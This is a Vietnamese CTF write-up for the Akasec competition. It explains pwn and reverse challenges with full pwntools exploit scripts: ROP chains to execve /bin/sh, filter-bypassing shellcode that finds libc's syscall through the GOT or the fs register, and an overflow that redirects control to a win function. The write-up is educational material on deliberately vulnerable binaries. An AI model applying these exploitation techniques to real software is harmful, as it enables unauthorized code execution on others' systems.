**Akasec writeup** --- Đây là writeup các bài mình giải được trong giải akasec, bao gồm cả pwn và reverse --- **Pwn** --- *Warmup:* --- - Challenge này khá đơn giản ![image](https://hackmd.io/_uploads/rk4zZtUr0.png) ![image](https://hackmd.io/_uploads/rkr_ZYIr0.png) - Nhìn sơ qua có thể thấy chúng ta được cung cấp pointer của puts từ đầu, sau đó 2 lần input, 1 lần vào `name[]` có thể xác định địa chỉ vì NO PIE, lần thứ 2 sẽ overflow - Sau khi thử thì overflow chỉ 2 frame, không đủ ROPchain nên giải quyết bằng cách input ROPchain vào `name[]`, sao đó overflow jump về ROPchain ở `name[]` và lấy flag ```python! from pwn import * cmd = ''' b *main + 166 continue ''' #chall = gdb.debug("./warmup_patched", cmd) chall = remote("172.210.129.230", 1338) libc = ELF("./libc.so.6") def leak(): return int(chall.recv(14).decode(), 16) def p(val): return p64(val, endian = 'little') def _pad(val, num): ret = val while(len(ret) < num): ret += b'a' return ret libc.address = leak() - 0x87bd0 print(hex(libc.address)) pop_rdi = libc.address + 0x10f75b pop_rsi = libc.address + 0x110a4d pop_rax = libc.address + 0xdd237 syscall = libc.address + 0x288b5 _ret = 0x401281 _bin_sh = libc.address + 0x1cb42f pop_rdx_leave = libc.address + 0x9819d _leave = 0x401280 _name = 0x404060 payload = p(_name + 0x100) + p(pop_rdx_leave) + p(0) * 10 payload = _pad(payload, 0x100) payload += p(_ret) + p(_ret) + p(pop_rdi) + p(_bin_sh) + p(pop_rsi) + p(0) payload += p(pop_rax) + p(0x3b) + p(syscall) chall.sendlineafter(b'name>>', payload) payload = b'a' * 64 + p(_name) + p(_leave) chall.sendlineafter(b'alright>>', payload) chall.interactive() ``` `flag:AKASEC{1_Me44444N_J00_C0ULDve_ju57_574CK_p1V07ed}` --- *Goodtrip:* --- - Nhìn sơ qua challenge ![image](https://hackmd.io/_uploads/BJOUfFISC.png) ![image](https://hackmd.io/_uploads/SyeKMYIrC.png) - Challenge sẽ cho chúng ta input shellcode nhưng filter sẽ chặn `syscall`, `sysenter` và `int 0x80`, đồng thời mprotect vùng shellcode để chúng ta không thể ghi đè lại shellcode nhằm bypass filter - Đồng thời trước khi exec shellcode thì các thanh ghi sau cũng bị xóa: - ![image](https://hackmd.io/_uploads/ryZKrtUBR.png) - Ở đây sẽ có nhiều hướng tiếp cận - 1: Vì chương trình NO PIE và có sử dụng hàm read nên ta có thể lấy addr của hàm read ở got, tính offset đến syscall có trong hàm read, sử dụng thay cho syscall - 2: mprotect sẽ dựa vào size code mà chúng ta nhập vào, tuy nhiên size không ảnh hưởng đến giới hạn len của shellcode chúng ta nhập, nên nhập 0 thì chúng ta vẫn có quyền write đè shellcode, từ đó vẫn có thể gọi syscall - Ở trong giải mình không để ý thấy cách 2, nên đã solve theo cách 1 ```python! from pwn import * cmd = ''' b *exec + 64 continue si ''' #chall = gdb.debug("./good_trip", cmd) chall = remote("172.210.129.230", 1351) def p(val): return p64(val, endian = 'little') context.log_level = 'debug' chall.sendlineafter(b'code size >> ', str(0x1000).encode()) payload = asm(''' mov rdi, 0x133713102d xor rsi, rsi xor rdx, rdx mov rax, 0x403fc0 mov rax, [rax] add rax, 15 mov rbx, rax xor rax, rax mov rax, 0x3b jmp rbx ''', arch = 'amd64', os = 'linux') payload += b'/bin/sh\x00' chall.sendlineafter(b'code >> ', payload) chall.interactive() ``` `flag: AKASEC{y34h_You_C4N7_PRO73C7_5om37hIn9_YoU_doN7_h4V3}` --- *Bad trip:* --- ![image](https://hackmd.io/_uploads/S1igVtISR.png) ![image](https://hackmd.io/_uploads/H1cG4KLSC.png) - Challenge này tương tự như challenge good trip, tuy nhiên lần này chương trình full protected và có leak cho chúng ta 4 lower bytes của puts addr, các thanh ghi bị xóa trước khi exec shellcode vẫn tương tự - Nhiệm vụ của chúng ta bây giờ là tìm 1 cách nào đấy biết được 2 byte còn lại của địa chỉ là áp dụng cách của good trip lấy shell - Ở đây, có thanh ghi `fs` sẽ cho chúng ta thông tin ở vùng tls - nằm ngay trên libc và thường có format giống với libc `tls: 0x7fff%%%%%%%% - libc: 0x7fff%%%%%%%%` - Vậy nên có thể tận dụng fs:[0x10] chứa pointer trỏ vào tls để lấy 2 byte chúng ta còn thiếu, tính offset và có syscall để gọi shell ```python! from pwn import * cmd = ''' b *exec + 64 continue si ''' #chall = gdb.debug("./bad_trip_patched", cmd) chall = remote("172.210.129.230", 1352) def p(val): return p64(val, endian = 'little') context.log_level = 'debug' def leak(): return int(chall.recv(10).decode(), 16) chall.recvuntil(b'with ') _syscall = leak() + 0x8993f payload = asm(f''' mov rdi, 0x1337131050 xor rsi, rsi xor rdx, rdx mov rax, 0x10 mov rax, fs:[rax] mov rbx, 0xffffffff00000000 and rax, rbx mov rcx, {hex(_syscall)} add rax, rcx mov rbx, rax xor rax, rax mov rax, 0x3b xor rcx, rcx jmp rbx ''', arch = 'amd64', os = 'linux') while(len(payload) < 0x50): payload += b'\x90' payload += b'/bin/sh\x00' print(payload) chall.sendlineafter(b'code >> ', payload) chall.interactive() ``` `flag: AKASEC{pr3f37CH3M_Li8C_4Ddr35532}` --- *The absolute horror of the trip:* --- - ![image](https://hackmd.io/_uploads/ryGpBF8HC.png) - ![image](https://hackmd.io/_uploads/BkJg8tISR.png) - Challenge vẫn giống với bad trip, tuy nhiên có điểm khác biệt đó là trước khi exec shellcode thì các thanh ghi sau bị xóa: - ![image](https://hackmd.io/_uploads/H13zUtUHC.png) - Có thể thấy, thanh ghi fs mà chúng ta sử dụng cho solve ở bad trip không bị ảnh hưởng, nên có thể copy paste qua và có flag - Điều mình tiếc nhất đó là không đủ tỉnh táo để nhận ra `xmm` và `fs` không liên quan đến nhau, cũng như không thử code bad trip nên trong giải mình bị lỡ 1 flag quá tiếc - Có lẽ fs là cách intend mà author muốn hướng đến, vì ở bad trip, author nhận ra có nhiều unintend nên chặn ở challenge này nhưng mà là `xmm` chứ không phải `fs`. Có thêm kiến thức ở đây : `xmm hay fs đều có address dùng được` ```python! from pwn import * cmd = ''' b *exec + 131 continue si ''' #chall = gdb.debug("./the_absolute_horror_of_the_trip_patched", cmd) chall = remote("172.210.129.230", 1369) def p(val): return p64(val, endian = 'little') context.log_level = 'debug' def leak(): return int(chall.recv(10).decode(), 16) chall.recvuntil(b'DPH* ') _syscall = leak() + 0x8993f payload = asm(f''' mov rdi, 0x1337131050 xor rsi, rsi xor rdx, rdx mov rax, 0x10 mov rax, fs:[rax] mov rbx, 0xffffffff00000000 and rax, rbx mov rcx, {hex(_syscall)} add rax, rcx mov rbx, rax xor rax, rax mov rax, 0x3b xor rcx, rcx jmp rbx ''', arch = 'amd64', os = 'linux') while(len(payload) < 0x50): payload += b'\x90' payload += b'/bin/sh\x00' print(payload) chall.sendlineafter(b'code >> ', payload) chall.interactive() ``` `flag: AKASEC{NoW_You_r34lly_H4V3_7o_pr3F37cH3M_li8C_4DDR5}` --- *Yapping:* --- - ![image](https://hackmd.io/_uploads/ByjVqj8BA.png) - ![image](https://hackmd.io/_uploads/r1cPcjUS0.png) - Challenge này có hàm vuln cho phép chúng ta read overflow, đồng thời cũng có hàm win - ![image](https://hackmd.io/_uploads/HJRCqjUSC.png) - Tuy nhiên win sẽ kiểm tra tại 0x404000 có phải là xâu `admin` hay không trước khi open, read, write flag cho chúng ta - Vì hàm vuln cho phép overflow nhưng chưa đủ để ghi đè saved_rip nhảy đến chỗ chúng ta muốn cũng như chúng ta cần phải ghi đè `0x404000` thành `admin` trước nên chưa thể 1 lần overflow có flag - Tuy nhiên, chúng ta có thể ghi đè giá trị của `i`, giúp chúng ta có thể ghi đè bất cứ đâu chúng ta muốn 1 lần nên mình đã tiếp cận như sau: - Lần đầu tiên, mình overflow biến `i` để ghi đè saved_rip thành địa chỉ của hàm vuln đểcó thể ghi thêm 1 lần nữa (nhưng bỏ qua phần setup thanh ghi) đồng thời gán saved_rbp thành `0x404070` vì chương trình sẽ bắt đầu ghi từ `rbp-0x70`. - Lần tiếp theo sau khi return mình sẽ ghi đè được `0x404040` thành `admin`, rồi bof 1 lần nữa để nhảy vào win và có được flag. ```python! from pwn import * cmd = ''' continue ''' # Because there only print helloooo, so that i have to sleep everywhere #chall = gdb.debug("./challenge", cmd) chall = remote("20.80.240.190", 14124) def p(val): return p64(val, endian = 'little') context.log_level = 'debug' chall.recv(timeout = 10) _win = 0x401160 _user = 0x404000 _vuln = 0x4011f0 for i in range(6): sleep(0.5) chall.sendline(p(0x7000000070)) for i in range(2): chall.send(p(0x7000000070)) chall.sendline(p(_vuln + 4)) sleep(1) for i in range(9): sleep(1) chall.sendline(b'123') sleep(1) chall.send(p(_user + 0x70)) sleep(1) chall.send(p(_vuln + 4)) sleep(1) chall.send(p(_win)) sleep(1) chall.send(p(0x6400401160)) sleep(1) chall.send(p(0)) sleep(1) chall.sendline(b'admin\x00') for i in range(14): sleep(1) chall.sendline() chall.interactive() ``` `flag: AKASEC{y4pp1n6_15_50m371m35_u53full_9b9b3d9}` --- **Reverse** --- *Paranoia:* --- - ![image](https://hackmd.io/_uploads/SJcYOYISA.png) - Challenge sẽ encode flag với byte random sau đó in ra cho chúng ta - Đơn giản là chúng ta code 1 chương trình tương tự, sau đó dịch các byte được gửi về là có được flag ```python! from pwn import * from ctypes import CDLL chall = remote("20.80.240.190", 1234) libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6") _seed = libc.time(0) libc.srand(_seed) flag = chall.recvuntil(b'\n')[:-2].decode().split() _xor = [] for i in range(36): tmp = libc.rand() & 0xff _xor.append(tmp) _flag = b'' for i in range(36): _flag += bytes.fromhex(hex(int(flag[i], 10) ^ _xor[i])[2:]) print(_flag) ``` `flag: akasec{n0t_t00_m4ny_br41nc3lls_l3ft}` --- *Grip:* --- - Challenge khá dài, mình tóm tắt lại là chương trình sẽ decode flag sau đó puts(":3") - Bản thân chương trình có anti debugger - ![image](https://hackmd.io/_uploads/HJ6BFKIr0.png) - Mình bật gdb lên, jump qua khỏi anti debugger và xem flag ở trong stack sau khi chương trình decode xong `flag: akasec{sh1tty_p4ck3d_b1n4ry}` ---